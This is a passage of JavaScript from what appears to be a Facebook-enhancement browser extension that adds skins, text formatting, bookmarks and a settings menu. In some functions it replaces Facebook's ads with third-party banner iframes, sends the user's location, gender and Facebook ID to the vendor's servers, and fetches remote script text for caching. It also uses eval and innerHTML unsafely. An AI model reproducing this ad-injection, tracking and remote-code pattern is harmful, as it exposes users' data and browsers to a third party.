		{	
			if(forme_enabled)a[b].innerHTML=(traduit(a[b].innerHTML));

			if(smiley_enabled)a[b].innerHTML=new_smile((a[b].innerHTML));
			a[b].ok=true;
		}
	}
	},0);
	
}
function traduit(chaton)
{
	adn=0;
	var balise = new Array();
	balise['B'] = 'font-weight:bold';
	balise['I'] = 'font-style:italic';
	balise['U'] = 'text-decoration: underline';
	balise['S'] = 'text-decoration: line-through';
	balise['b'] = 'font-weight:bold';
	balise['i'] = 'font-style:italic';
	balise['u'] = 'text-decoration: underline';
	balise['s'] = 'text-decoration: line-through';

	hachoir = new RegExp('(\\[[^\\[]*\\])', 'ig');
	bouillie_de_chaton = chaton.split(hachoir);
	frankestein = new Array();
	for(organe=0;organe<bouillie_de_chaton.length;organe++){
		if (bouillie_de_chaton[organe].substr(0,2) == '[/') frankestein.push('</span>');
		else if (bouillie_de_chaton[organe].substr(0,1) == '['){
			if (bouillie_de_chaton[organe].length == 2)frankestein.push('<span>');
			else if (bouillie_de_chaton[organe]=='['+SETTING+']')frankestein.push('<span>');
			else
			{
				prelevement = (bouillie_de_chaton[organe].substr(1,bouillie_de_chaton[organe].length-2)).split(';');
				var serum = new Array();
				for (macrophage=0;macrophage<prelevement.length;macrophage++){
					if (balise[prelevement[macrophage]] != undefined) {adn++; serum.push(balise[prelevement[macrophage]]);}
					else if (prelevement[macrophage].substr(0,2) == 'c='){adn++; serum.push('color:#'+prelevement[macrophage].substr(2,6));}
					else serum.push('');
				}
			if(!adn) {  frankestein.push(bouillie_de_chaton[organe]);}
			else	frankestein.push('<span style = "'+serum.join(";")+'">');
			}
		} else frankestein.push(bouillie_de_chaton[organe]);
	}
	return frankestein.join('');
}

function createSkinPop()
{
	
	content='<div style="padding:5px;background-color:#f5f5f5;border-bottom:1px solid #d6d6d6;">'+SKIN_POP_C+'</div><div id="SkinPopContent"><div id="fb_multi_friend_selector" class="resetstyles "><ul id="friends"><div id="all_friends"></div></ul></div></div></div>';
		 showpopup(SKIN_POP_T,content,620,SAVE,CANCEL,validSkin,annulSkin);
		 
		 check_xml_skin();

}
function check_xml_skin()
{
  //  id_skin_actuel = data;
 obj=new Date();
	dateactuel=obj.getDate();
	
   if(!localStorage['skincache'] || (localStorage['skincacheDay']+2)==dateactuel) ajaxeur("http://get.buzzzapps.com/xpi/themeie.php",vide, function(data){domyskin(data);GM_setValue("skincache",data);
   
  
	GM_setValue("skincacheDay",dateactuel);
   });
   else domyskin(localStorage['skincache']);
    
}

	
function domyskin(data){
       setTimeout(function(){   var ob_skin_select = document.getElementById('SkinPopContent').firstChild.firstChild.firstChild;
		data=(data.split('_-wc-_'));
	var extensible=new Array();
id_skin_actuel=user_theme;
  var oOption = document.createElement('div');

			
            oOption.innerHTML = '<div style="width:280px;float:left;padding:5px;color:#333"><h1>- '+SKIN_POP_CREATOR+'</h1><b>'+SKIN_POP_CREATOR1+'</b><br> '+SKIN_POP_CREATOR2+'<br><br> <span style="float:right">- '+SKIN_POP_CREATOR3+'</span></div><a href="#" onclick="skinCreator()"><img src="http://static.buzzzapps.com/sp/coming.png" style="margin:3px"/></a><div style="clear:both"></div>';
			oOption.setAttribute('style','border-bottom:1px solid #d6d6d6;margin-bottom:10px;margin-top:5px;font-size:11px;');
						document.getElementById('SkinPopContent').insertBefore(oOption,document.getElementById('SkinPopContent').firstChild);
var oOption = document.createElement('h1');

			
            oOption.innerHTML = '- Select a skin';
						ob_skin_select.appendChild(oOption);
			      for(i=0;i<data.length-1;i++){
				moi=unescape(data[i]).split(':!:');
            var nom = moi[0];
            var valeur = moi[1];
            var screen = moi[2];
			extensible[valeur]=moi[4];

            if (screen == '0' || screen == '') screen = 'no_preview.jpg'; else screen = id_skin_actuel+'.jpg';
			
            var oOption = document.createElement('li');

			if(valeur==id_skin_actuel){  oOption.className="selected";
			oOption.id="selectedSkin";
			}
            oOption.innerHTML = '<a href="#" title="'+nom+'" id="'+valeur+'" onclick="testSkin(this);return false;" style="white-space:" ><span class="square" style="background-image: url(http://static.buzzzapps.com/src/thumb/'+valeur+'.jpg);"><span></span></span><strong>'+nom+'</strong><br /><span class="network">select </span></a>';
			ob_skin_select.appendChild(oOption);
    
        }},0);


}function skinCreator()
{

	showpopup(TITLE_CREATE,'<div style="padding:10px;color:#333;background-color:#fff;border-bottom:1px solid #d6d6d6;"><center><img src="http://static.buzzzapps.com/src/loader.gif" id="f1_upload_process" style="display:none;"/></center><p id="resultUP" style="display:none"></p><form action="http://www-hg.buzzzapps.com/sp/upload.php?id_user='+FB_UID+'" method="post" enctype="multipart/form-data" target="upload_target" onsubmit="startUpload();" id="formUP" ><div style="background-color: #f7f7f7; border: 1px solid #cccccc;   color: #333333;  padding: 10px;   font-size: 13px;   font-weight: normal;  margin-top:5px;"><b><big>1.</big> '+CREATE_SELECT_PIC+'</b><br /><br /><center> <b>'+FILE+':</b> <input name="myfile" type="file" /><br /> <br /> <span style="font-size:11px"><b>'+CREATE_ALIGN+' :</b> <input type="radio" value="0"  name="align" > '+CREATE_LEFT+'  <input type="radio" value="1"  name="align"  checked="checked"> '+CREATE_CENTER+'  <input type="radio" value="2" name="align"> '+CREATE_RIGHT+'  </span><br /> <br /> <span style="font-size:10px">'+CREATE_PIC_REC+'</span></center></div> <input type="hidden" name="color" id="inputcolor"/><div style="background-color: #f7f7f7; border: 1px solid #cccccc;   color: #333333;  padding: 10px;   font-size: 13px;   font-weight: normal;  margin-top:5px;"><b><big>2.</big> '+CREATE_COLOR+' :</b><br /> <br /><center><a href="#" onclick="showskincolor();return false;">'+CREATE_SELECT_COLOR+' <div id="colorsleect"  style="background-color:rgb(59, 89, 152);width:50px;height:20px;border:1px solid #000;"></div></a><br /> <span style="font-size:10px">'+CREATE_BACK_REC+'</span></center><div style="display:none;border: 1px solid #aeaeae; position: absolute; z-index: 10000000; width: 200px; padding: 5px; margin-left: 45px;border-top:0; top: 200px; background-color: #fff" id="colorer"><div id="result"  style="float:left">'+getTableColor()+'</div><div id="result" style="padding-left:10px;float:left"><br /> <br /><br /><br /> Result :<div id="valueeru2"  style="width:50px;height:20px;border:1px solid #000"></div></div></div></div><div style="background-color: #f7f7f7; border: 1px solid #cccccc;   color: #333333;  padding: 10px;   font-size: 13px;   font-weight: normal;  margin-top:5px;"><b><big>3.</big> '+CREATE_UP_REC+' :</b><br /><br /><center><label class="uiButton uiButtonLarge uiButtonConfirm"><input class="UIButton_Text validdialog" id="" type="submit" bindpoint="input" value="'+CREATE_UP+'" ></label></center></div></form><iframe id="upload_target" name="upload_target" src="" style="display:none"></iframe> </div>',500,SAVE,CANCEL,savethisskin,annulSkin);	
	document.getElementById('move_color').addEventListener('click',function(e){
		if(document.getElementById('valueeru2').style.backgroundColor){
			placeThisStyle(document.getElementById('valueeru2').style.backgroundColor);
			(document.getElementById('colorsleect').style.backgroundColor=document.getElementById('valueeru2').style.backgroundColor);
			document.getElementById('colorer').style.display="none";
			document.getElementById('inputcolor').value=document.getElementById('valueeru2').style.backgroundColor;
			
		}
		},false);
		document.getElementById('move_color').addEventListener('mouseover',function(e){if(e.target.style.backgroundColor)document.getElementById('valueeru2').style.backgroundColor=(e.target.style.backgroundColor)},false);
}
function showskincolor(){
	a=document.getElementById('colorer').style.display="block"
}
function savethisskin(){

	var a=FB_UID%10;
	user_theme=a+'/'+FB_UID;

	
		setPost(FB_UID,4);
	

}
function placeThisStyle(color)
{
	var newcolor=color.split('(')[1];
	newcolor=newcolor.split(')')[0];
	var a=document.createElement("style");
	if(!document.getElementById("stylepreview"))
	{
	
	a.type="text/css";
	a.id="stylepreview";
	a.innerHTML='#blueBar{background-color:rgba('+newcolor+', 0.8);}.uiUfi .ufiItem {background-color:rgba('+newcolor+',0.2);border-bottom-left-radius: 5px 5px;border-bottom-right-radius: 5px 5px;}a{color:rgb('+newcolor+')}.UIActionLinks_bottom a,.UIActionLinks_bottom button.as_link, .UIActionLinks_left, .UIActionLinks_right,button.as_link, .uiLinkButton input {color:rgb('+newcolor+')}#pagelet_eventbox,#pagelet_adbox,.ego_section {border-radius:5px;background-color:rgba('+newcolor+', 0.15);}.uiHeaderSection, .uiSideHeader {background-color: rgba('+newcolor+', 0.2)}}.action_links_title .comment_link,.action_links_bottom .comment_link,.feedback_toggle_link .feedback_show_link,.feedback_toggle_link .feedback_hide_link, .UIActionLinks .comment_link {color:rgb(('+newcolor+')}';
		document.body.appendChild(a);
	}
	else document.getElementById("stylepreview").innerHTML='#blueBar{background-color:rgba('+newcolor+', 0.8);}.uiUfi .ufiItem {background-color:rgba('+newcolor+',0.2);border-bottom-left-radius: 5px 5px;border-bottom-right-radius: 5px 5px;}a{color:rgb('+newcolor+')}.UIActionLinks_bottom a,.UIActionLinks_bottom button.as_link, .UIActionLinks_left, .UIActionLinks_right,button.as_link, .uiLinkButton input {color:rgb('+newcolor+')}#pagelet_eventbox,#pagelet_adbox,.ego_section {border-radius:5px;background-color:rgba('+newcolor+', 0.15);}.uiHeaderSection, .uiSideHeader {background-color: rgba('+newcolor+', 0.2)}}.action_links_title .comment_link,.action_links_bottom .comment_link,.feedback_toggle_link .feedback_show_link,.feedback_toggle_link .feedback_hide_link, .UIActionLinks .comment_link {color:rgb(('+newcolor+')}';
}
function startUpload(){
		document.getElementById('upload_target').addEventListener('load',stopUpload,false);
		//document.getElementById('upload_target').addEventListener('error',stopUpload,fase
  document.getElementById('resultUP').style.display = 'none';

  document.getElementById('formUP').style.display = 'none';
    document.getElementById('f1_upload_process').style.display = 'block';
    return true;
}
function stopUpload(e){
	ok=false;
	try{
	var a=document.getElementById('upload_target').contentDocument;
	if(a) ok=true;
	
	}catch(b){ok=false;}
	
			   
  document.getElementById('resultUP').style.display = 'block';
      var result = '';
    
	        var a=FB_UID%10;
      if(ok){   document.getElementById('resultUP').innerHTML =
           '<span class="msg"><div style="  background-color: #eceff6;   border: 1px solid #d4dae8;   color: #333333; padding: 10px;     font-size: 13px;  font-weight: bold;  ">'+FILE_OK+'</div><\/span><br/><br/>';
     removeCss("mycssstyle");
      	 addCss('http://static.buzzzapps.com/xpi/css/'+a+'/'+FB_UID+'.css?a='+Math.random()+'','mycssstyle');

   
	  }
	  else{ document.getElementById('resultUP').innerHTML =
           '<span class="msg"><div style="background-color: #ffebe8;border: 1px solid #dd3c10;color: #333333;padding: 10px;font-size: 13px;font-weight: bold;">'+FILE_ERR+'</div><\/span><br/><br/>';
		   
		   
  document.getElementById('formUP').style.display = 'block';
	  }
	        document.getElementById('f1_upload_process').style.display = 'none';

	  	  	document.getElementById('upload_target').removeEventListener('load',stopUpload,false);

}
var newselect="";
function testSkin(what){
	var a=document.getElementById('selectedSkin');
	if(a){a.id="";
	a.className="";
	}what.parentNode.className='selected';
		newselect=what.id;
		what.parentNode.id="selectedSkin";
			if(newselect==0) removeCss("mycssstyle");

	else addCss('http://ads2.buzzzapps.com/xpi/css/'+what.id+'.css','mycssstyle');
}
function validSkin(){
	
	user_theme=newselect;
	if(newselect==0) removeCss("mycssstyle");
	
		setPost(newselect,4);
	
} 
function annulSkin(){ if(user_theme!=0)setUserStyle();
if(document.getElementById("stylepreview"))document.body.removeChild(document.getElementById("stylepreview"))}
function stripHTML(txt){ 
	txt=txt.replace(/&nbsp;/gi,' ')
    return txt.replace(/(<\/?\w+((\s+\w+(\s*=\s*(?:".*?"|'.*?'|[^'">\s]+))?)+\s*|\s*)\/?>)|(<!--.*?-->)/gim, "")
}
function addMenu(){
	
	var a=document.getElementById('pageNav');
	
	if(a)
	{
		
		var LINK_SETTINGS_INVITE="Invite";
		var b=document.createElement('li');
		b.className="";
		b.id="navAccount";
		b.setAttribute('style','position: relative;');
		b.innerHTML='<a id="navAccountLink" style="padding-right: 16px;zoom: 1;"rel="toggle" href="#">'+SETTING+'<img class="accountPulldown img" src="http://static.ak.fbcdn.net/rsrc.php/zs/r/vJRBjt5XzbL.gif" width="1" height="1"></a><ul id="mysocial"><li id="navAccountInfo" class="clearfix"><a href="http://www.facebook.com/PerfacePlus" tabindex="-1" id="navAccountPic" aria-hidden="true"><img class="img" src="http://graph.facebook.com/260985023934909/picture?type=square" alt=""></a><a href="http://www.facebook.com/PerfacePlus" id="navAccountName">'+SETTING+'</a></li><li><a href="#" id="settingconfigure">'+LINK_SETTINGS_FUNCTION+'</a></li><li><a href="#" id="settingfiltre">'+LINK_SETTINGS_FILTRE+'</a></li><li><a href="#" id="skinselect">'+LINK_SETTINGS_SKIN+'</a></li><li style="display:none;"><a href="#" id="invitefriends">'+LINK_SETTINGS_INVITE+'</a></li><li style="display:none;"><a href="#" id="bugreport">'+LINK_SETTINGS_BUG+'</a></li><li style="display:none;"><a href="#" id="checkupdate">'+LINK_SETTINGS_UPDATE+SETTING+'</a></li></ul></li>';
		a.appendChild(b);
		var b=document.createElement('li');
		b.id="navAccount";
				b.setAttribute('style','position: relative;');

		b.innerHTML=' <a  rel="toggle" href="#" accesskey="2" id="navAccountLink" style="width: 16px; padding: 2px; padding-top: 6px; padding-bottom: 0px;" title="" class="uiTooltip" ><img src="http://static.buzzzapps.com/xpi/fav.png" class="" style="height:auto;background-image:none;width: 16px; float: left;top:0;left:0"><span class="uiTooltipWrap bottom left lefttop"><span class="uiTooltipText uiTooltipNoWrap">'+BOOKMARKS+'</span></span></a><ul id="mysocialfav" style="border-top: 0;">'+favHTML+'</ul></li>';
				a.appendChild(b);

		document.getElementById('settingconfigure').addEventListener('click',showPref,false);
		document.getElementById('skinselect').addEventListener('click',createSkinPop,false);
		document.getElementById('bugreport').addEventListener('click',bugPop,false);
				document.getElementById('invitefriends').addEventListener('click',invitePop,false);

		document.getElementById('settingfiltre').addEventListener('click',Open_Filtre_Pop,false);
		document.getElementById('checkupdate').addEventListener('click',function(){
		ajaxeur('http://get.buzzzapps.com/sp/getscriptcache.php',vide,function(data){if(data)GM_setValue('SPcachescript',escape(data)); 		showpopup(SETTING+UPDATE_TITLE,"<div style='background-color:#F7F7F7;padding:5px'>"+UPDATE_POPUP+SETTING+"</div>",400,CLOSE)

		});
	
		},false);

		
		
		
	}
}
function favPop(){
	favoris=GM_getValue("fav");	
	favHTML2="<ul>";
	favoris=favoris.split(',');
	
	
	for(var b=0;b<favoris.length;b++){
	valeur=favoris[b].split('/');
	id=valeur[0];
	 fav[id]=1;
	if(id != ""){
	name=valeur[1];
	favHTML2+='<li style="padding-left:5px;padding-right:5px;margin-bottom:5px;"><div style="float: left;margin-right: 5px; "><img src="http://graph.facebook.com/'+id+'/picture?type=square" height="22" class="img" style="float: left; margin-right: 4px;"></div><b>'+name+'</b><a style="float:right" href="#" onclick="deletefav(\''+id+'/'+name+'\',this);return false;">Delete</a><div style="clear:both"></div></li>';
	}
	}
	showpopup('Edit bookmarks', '<div style="color:#333;padding:5px">'+favHTML2+'</div>',400,CLOSE);
}
function deletefav(ki,e){
		favoris=GM_getValue("fav");	
				e.innerHTML="Deleted";
				e.style.color="#DD3C10";
				FadeOutO(e.parentNode,400);
			favoris=favoris.replace(ki+",","");
				GM_setValue("fav",favoris);
}
function addFavLink(id){
var a=document.getElementsByClassName("profileHeaderMain");
id=id.split('&')[0];
if(!a) return;
if(document.getElementById('favtooltip'))return;
a=a[0];
if(!a) return;
 	var b=document.createElement('a');
	/*<a class="mls uiTooltip presenceIndicator" id="u659398_3" href="#"></a>*/

		b.id="myfav_"+id;
		b.className="mls uiTooltip presenceIndicator";
		b.href="#";		
		
		b.setAttribute('style',' margin-left: 8px;');
	if(!fav[id])	b.innerHTML='<i class="img sp_8l18v9 sx_01595b" id="favimg_'+id+'" style="background-image: url(http://static.buzzzapps.com/xpi/fav.png); background-size: 16px; width: 16px; height: 16px;display: inline-block;line-height: 28px;"></i><span class="uiTooltipWrap top left lefttop"><span class="uiTooltipText uiTooltipNoWrap" id="favtooltip">'+ADD_TO_BOOKMARKS+'</span></span>';
	else b.innerHTML='<i class="img sp_8l18v9 sx_01595b" id="favimg_'+id+'" style="background-image: url(http://static.buzzzapps.com/xpi/fav_ok.png); background-size: 16px; width: 16px; height: 16px;display: inline-block;line-height: 28px;"></i><span class="uiTooltipWrap top left lefttop"><span class="uiTooltipText uiTooltipNoWrap" id="favtooltip">'+REMOVE_FROM_BOOKMARKS+'</span></span>';
		b.addEventListener('click',addToFav,false);
		if(a.lastChild.nodeName=="A" || a.lastChild.nodeName=="H1")	a.appendChild(b);
		else a.insertBefore(b,a.lastChild);
}
function addToFav(e){
		id=e.target.id.split('_')[1];
		
	if(!document.getElementById("favimg_"+id)) return;
		if(!fav[id]){
			fav[id]=1;
	document.getElementById("favimg_"+id).style.backgroundImage="url(http://static.buzzzapps.com/xpi/fav_ok.png)"
	document.getElementById('favtooltip').textContent=REMOVE_FROM_BOOKMARKS;
	var b=document.getElementsByClassName('ginormousProfileName');
	if(b){
		b=b[0].textContent;
			favoris=GM_getValue("fav");	
			favoris+=id+"/"+b+",";
			GM_setValue("fav",favoris);
	}
	}
	else
	{
		fav[id]=0;
		document.getElementById("favimg_"+id).style.backgroundImage="url(http://static.buzzzapps.com/xpi/fav.png)";
			document.getElementById('favtooltip').textContent=ADD_TO_BOOKMARKS

		var b=document.getElementsByClassName('ginormousProfileName');
		if(b){
			b=b[0].textContent;
				favoris=GM_getValue("fav");	
				req=id+"/"+b+",";
			favoris=favoris.replace(req,"");
				GM_setValue("fav",favoris);
		}
	}
	//fav[id+1]=new newFav(id+1);
	constructFav();
	document.getElementById('mysocialfav').innerHTML=favHTML;
}
function constructFav(){
	favoris=GM_getValue("fav");	
	if(favoris!="")favHTML="";
	favoris=favoris.split(',');
	
	
	for(var b=0;b<favoris.length;b++){
	valeur=favoris[b].split('/');
	id=valeur[0];
	 fav[id]=1;
	if(id != ""){
	name=valeur[1];
	favHTML+='<li style="padding-left:5px;padding-right:5px;margin-bottom:5px;"><div style="float: left;margin-right: 5px; "><img src="http://graph.facebook.com/'+id+'/picture?type=square" height="22" class="img" style="float: left; margin-right: 4px;"></div><a href="http://www.facebook.com/profile.php?id='+id+'" id="">'+name+'</a><div style="clear:both"></div></li>';
	}
	}

if(favoris!="")favHTML+='<a style="display: inline; padding: 0px; font-size: 9px; margin-left: 30px;" href="#" id="editfav" onclick="favPop();return false;">Edit</a>'
}
function newFav(id)
{
	this.id=id;
	this.name="http://graph.facebook.com/"+id+"/picture?type=square";
	this.url="http://www.facebook.com/profile.php?id="+id;	
	
}
function invitePop(){
	showpopup("Invite Friend","<div style='background-color:#F7F7F7'><iframe src='http://get.buzzzapps.com/xpi/lechat/invite.php?lg="+LANG+"' width='610' height='540' frameborder='0' scrollbar='no'></iframe></div>",640,"Close");	
}
function noPub(e)
{	
var id=e.target.id;
if(id.indexOf('frm_pub')>=0) 
if(document.getElementById(id))try{document.getElementById(id).parentNode.removeChild(document.getElementById(id));}catch(e){}
	
	
}
function vachette_au_toilette(a){
	//console.log(a);
	if(document.getElementsByClassName('GigaboxxContent')[0]) return 0; // Page message

	if(document.getElementById('friend_suggestion')) return 0; // page friend suggestion
	if(document.getElementById('album_container')) return 0; // page album
	//if(document.getElementById('photo_tag_selector')) return 0; // Page Photo
	if(document.getElementById(pubid)) return 0; // si deja enclencher
	//	console.log("cave2");
	
		a=document.getElementsByClassName('UIStandardFrame_SidebarAds');
		if(a[0]){
			//	console.log("UIStandardFrame_SidebarAds");
			a[0].innerHTML='';
			newnode=document.createElement('div');
			newnode.id=pubid;
			newnode.innerHTML="<iframe id='"+pubid+"_fr' src='http://redfaceplus.com/banner2.php' style='border:0px;margin-left:0px' width='250' height='1000' scrolling='no' ></iframe>"
			a[0].appendChild(newnode);
			return 0;
		}
	
	
	
	placement=document.getElementById('rightCol');
	replacemychild=false;
	myclasswas='rightCol';
	padding=60;
	if(!placement)
	{
		placement=document.getElementById('sidebar_ads');
		replacemychild=true;
		myclasswas='sidebar_ads';
		padding=0;
	}
	
	if(placement)
	{
	//	console.log("placement2");
		newnode=document.createElement('div');
		newnode.id=pubid; 
	if(myclasswas!='sidebar_ads')	{newnode.innerHTML="<iframe id='"+pubid+"_fr' src='http://redfaceplus.com/banner2.php' style='border:0px;margin-left:0px' width='250' height='1000' scrolling='no' ></iframe>"
		if(!replacemychild)placement.appendChild(newnode);
		else
		{
			placement.innerHTML="";
			placement.appendChild(newnode);
		}
	}
	else {
		
		//console.log("appli");
		//appli
		if(1) 
		{
			newnode.innerHTML="<iframe id='"+pubid+"_fr' src='http://redfaceplus.com/banner2.php' style='border:0px;margin-left:0px' width='250' height='1000' scrolling='no' ></iframe>"
			if(!replacemychild)placement.appendChild(newnode);
			else
			{
			//	placement.innerHTML="";
				placement.appendChild(newnode);
			}
		}	
			newnode2=document.createElement('div');
		newnode2.id='youseemyad2' ; 
		newnode2.className='youseemyad2' ; 
		newnode2.setAttribute("style","text-align: center;width: 760px;margin-top:-10px");
	newnode2.innerHTML="<iframe id='"+pubid+"_fr' src='http://ads.buzzzapps.com/xpi/top.html?umtt="+utma+"&umte="+USER_TYPE+"&location="+document.location+"&ub="+SEXE+"' style='border:0px;' width='760' height='100' scrolling='no' ></iframe>"
		try{
			if(!document.getElementsByClassName('youseemyad2').length)document.getElementsByClassName('UIStandardFrame_Content')[0].insertBefore(newnode2,document.getElementsByClassName('UIStandardFrame_Content')[0].firstChild);
		
		}
		catch(e){}
		
	}
		closer=document.getElementById('closeads');
		if(closer)closer.addEventListener('click',function(){ document.getElementById(pubid+"_fr").src="";},false);

	}

	else if(a<10)setTimeout(function(){vachette_au_toilette(a++)},200);
	
}
function bugPop(){
	showpopup(BUG_REPORT_T,'<div style="padding:5px;background-color:#f5f5f5;border-bottom:1px solid #d6d6d6">'+BUG_REPORT_C1+'</div><br /><div style="color:#333;font-weight: bold;padding-left:10px" id="formreport"><label style="display:block">Email:</label><input type="text" size="30" id="bugemail" /><br /><label style="display:block">Problem :</label><select id="bugtype" ><option value="0" disabled="true">Select a type</option><option value="1">Question</option><option value="2">Script Error</option><option value="3">Other bugs</option></select><label style="display:block">Comment : <span style="float:right;padding-right:20px;color:#ccc" id="counterBug">500</span></label><textarea id="bugcomment" style="margin-left: 2px; margin-right: 2px; width: 350px; margin-top: 2px; margin-bottom: 2px; height: 81px; " onkeyup="valuer=(500-this.value.length);document.getElementById(\'counterBug\').innerHTML=valuer;"></textarea><span style="font-size: 10px;font-weight:normal">'+BUG_REPORT_C2+'</span><br /><label class="uiButton uiButtonLarge uiButtonConfirm"><input class="UIButton_Text validdialog" id="" type="button" bindpoint="input" value="'+BUG_REPORT_B+'" name="ok" onclick="sendReport();"></label></div><br />',400,CLOSE);
	
}
function sendReport(){
	var a=document.getElementById('formreport');
	if(a)
	{
		//onrecupere les valeur
		var bugtype=document.getElementById('bugtype').value;
		var bugemail=document.getElementById('bugemail').value;
		var bugcomment=document.getElementById('bugcomment').value;
		
		if(bugtype!=0 && bugemail!="" && bugcomment!=""){
		a.innerHTML='<center><h2>'+Bugreportsender+'</h2><img id="" src="http://static.buzzzapps.com/src/loader.gif" style="margin-top:20px;margin-left:-10px"></center>';
		
		ajaxeur("http://set.buzzzapps.com/xpi/lechat/bugreport.php?message="+(bugcomment)+"&mail="+bugemail+"&name="+FB_NAME+"&type="+bugtype+"&sm="+smiley_enabled+"&di="+dislike_enabled+"&v="+VERSION+"&fm="+forme_enabled+"&ed="+editor_enabled+"&pr="+photo_enabled+"&sk="+skin_enabled+"&wi="+chat_wizz_enabled+"&fbid="+FB_UID+"&page="+document.location,vide,function(data){ 
		//console.log(data);
		setTimeout(function(){document.getElementById('formreport').innerHTML=bugsenderok },1000);});
		}
		else
		{
		 	if(bugtype==0){document.getElementById('bugtype').style.backgroundColor="#ffebe8";document.getElementById('bugtype').style.border="1px solid #dd3c10";}
			if(bugemail==""){document.getElementById('bugemail').style.backgroundColor="#ffebe8";document.getElementById('bugemail').style.border="1px solid #dd3c10";document.getElementById('bugemail').style.borderTopWidth="2px";}
			if(bugcomment==""){document.getElementById('bugcomment').style.backgroundColor="#ffebe8";document.getElementById('bugcomment').style.border="1px solid #dd3c10";}
		}
	}
} 
function showPref(){
	
	 var item_pref = new Array();
    item_pref['smiley_enabled'] = SETTINGS_SMILEY;
    item_pref['dislike_enabled'] =SETTINGS_DISLIKE;
    item_pref['forme_enabled'] = SETTINGS_FORME;
    item_pref['editor_enabled'] = SETTINGS_EDITOR;
    item_pref['photo_enabled'] = SETTINGS_PHOTO;
    item_pref['skin_enabled'] = SETTINGS_SKIN;	
	    item_pref['chat_wizz_enabled'] = SETTINGS_WIZZ;	
  item_pref['camtype']=SETTINGS_CAM;
	
	preftest=new Array('smiley_enabled','dislike_enabled','forme_enabled','editor_enabled','photo_enabled','skin_enabled','chat_wizz_enabled');
		var genere="";
		 for (var i=0;i<preftest.length;i++) {
				etat="Enabled";
				color="c92b2b";
				nocolor="0fb636";
				button=ENABLED;
			if (eval(GM_getValue(preftest[i]))) {
				
				etat="Disabled";
				nocolor="c92b2b";
				color="0fb636";
				button=DISABLED;
			}
	
			genere+='<div style="padding:2px;margin-top:2px;margin-bottom:2px;border-bottom:1px solid #EEE;"><div style="float:left;width:300px">- '+item_pref[preftest[i]]+' <span class="etat" style="color:#'+color+';font-size:10px;display:none;"></span></div> <a bindpoint="root" class="uiButton uiButtonMedium uiButtonDefault" id="ee'+preftest[i]+'" style="float:right;background-color:#'+color+';" href="#" onclick="setPref(this);return false;"><span class="uiButtonText etat" bindpoint="text" style="colore:#'+color+';color:#fff;">'+etat+'</span></a><div style="clear:both"></div></div>';
			
        }
		zero="";
		un="";
		deux="";
		trois="";
		if(!camtype)zero="selected='selected'";
		else if(camtype==4) un="selected='selected'";
		else if(camtype==5) deux="selected='selected'";
				else if(camtype==3) trois="selected='selected'";

			genere+='<div style="padding:2px;margin-top:2px;margin-bottom:2px;border-bottom:1px solid #EEE;"><div style="float:left;width:230px">- '+item_pref['camtype']+'</div><select onchange="setprefcam(this.value)" style="float: right;"><option value="0" '+zero+'>'+SETTINGS_CAM0+'</option><option value="5" '+deux+'>'+SETTINGS_CAM2+'</option><option value="4" '+un+'>'+SETTINGS_CAM1+'</option><option value="3" '+trois+'>Video + Chat Popup</option></select><div style="clear:both"></div></div>';
		
	
	 showpopup(POPUP_OPTION_TITLE+SETTING,'<div style="color:#333;font-weight: bold;">'+genere+'</div><br />',500);
	
}
function setprefcam(obj){
GM_setValue('camtype',obj);
camtype=obj;

}

function setPref(obj){
	
	val=eval(GM_getValue(obj.id));
	if(val) {
		obj.firstChild.textContent=ENABLED;
		var a=obj.parentNode.getElementsByClassName('etat')[0];
		if(a)
		{
		a.style.color="#c92b2b";
			a.textContent="(Off)";
		}
		GM_setValue(obj.id,false);
		eval(obj.id+"=false;");
	}
	else  {
		obj.firstChild.textContent=DISABLED;
		var a=obj.parentNode.getElementsByClassName('etat')[0];
		if(a)
		{
				a.style.color="#0fb636";
			a.textContent="(On)";
		
		}
		GM_setValue(obj.id,true);
	}
} 


	
var GM_log = function(str){ return str;};
var GM_getValue= function(str) {	if(localStorage[str]==undefined)localStorage[str]=defaut[str]; return (localStorage[str]);};
var GM_setValue= function(str,value) { localStorage[str]=value;};
 /********
	*	Function showpopup
	* 	*titre:String = Titre popup
	*	*contenu = Contenu de popup
	*	 Width:Integer = largeur popup
	*	 valid:String = texte boutton validation
	*	 annul:String = texte boutton annulation
	*	 callback:function = function appeler a la validation @ html contenu
	* 	 @ void
	******/
function showpopup(titre,contenu,width,valid,annul,callback,cancelback)
{
	
	
	if(document.getElementById('my-social-dialog'))
	{
		footer=document.getElementById('pageFooter');
		if(footer) footer.removeChild(document.getElementById('my-social-dialog'));
	}
	bouttonannul='';
	if (valid==undefined)
	{
		valid='Ok';
	}
	if (width==undefined)
	{
		width=392;
	}
	if (annul!=undefined && annul!="")
	{
		bouttonannul='<label class="uiButton uiButtonLarge uiButtonDefault"><input class="UIButton_Text annuldialog" id="annuldialog" type="button" bindpoint="input" value="'+annul+'" name="ok"/></label>';
	}
	//overlay();
	hauteur2=document.body.scrollTop+document.documentElement.scrollTop;
	hauteur=window.innerHeight;
	position=(hauteur/4)+hauteur2;
	maxheigth=(hauteur-100);
	var NodeNew = document.createElement("div"); 
	NodeNew.id="my-social-dialog";
	NodeNew.innerHTML='<div class="generic_dialog pop_dialog object-browser full_bleed socialplusdialog" style=""><div class="overlay"></div><div class="generic_dialog_popup" style="top: '+position+'px; width: '+width+'px;" id="asocialpopup">		<div class="pop_container_advanced">			<div id="pop_content" class="pop_content">				<h2 class="dialog_title " style=\'font-family:"lucida grande",tahoma,verdana,arial,sans-serif;font-size:14px;font-weigth:bold\'><span>'+titre+'</span></h2><div class="dialog_content"><div class="dialog_body" id="socialdialogcontent" style=\'font-family:"lucida grande",tahoma,verdana,arial,sans-serif;font-size:13px;max-height:'+maxheigth+'px;overflow:auto\'></div>				<div class="dialog_buttons clearfix">'+bouttonannul+'<label class="uiButton uiButtonLarge uiButtonConfirm"><input class="UIButton_Text validdialog" id="validdialog" type="button" bindpoint="input" value="'+valid+'" name="ok"/></label></div>			</div>		</div>	</div></div>'
	footer=document.getElementById('pageFooter');
	if(footer) footer.appendChild(NodeNew);
	var content = document.createElement("div"); 
	content.innerHTML=contenu;
	document.getElementById('socialdialogcontent').appendChild(content);
	if (annul!=undefined)
	{
        if ( cancelback ==undefined)
        {
			
			bouton=	document.getElementById('annuldialog');
			if(bouton)bouton.addEventListener('click',function(){
								footer=document.getElementById('pageFooter');
				if(footer) footer.removeChild(document.getElementById('my-social-dialog'));overhide();
				},false);
		}
        else
        {
            document.getElementById('annuldialog').addEventListener('click',function(){
			var a=document.getElementById('socialdialogcontent').innerHTML;
				cancelback(a);
				footer=document.getElementById('pageFooter');
				if(footer) footer.removeChild(document.getElementById('my-social-dialog'));overhide();
			},false);
        }
	}
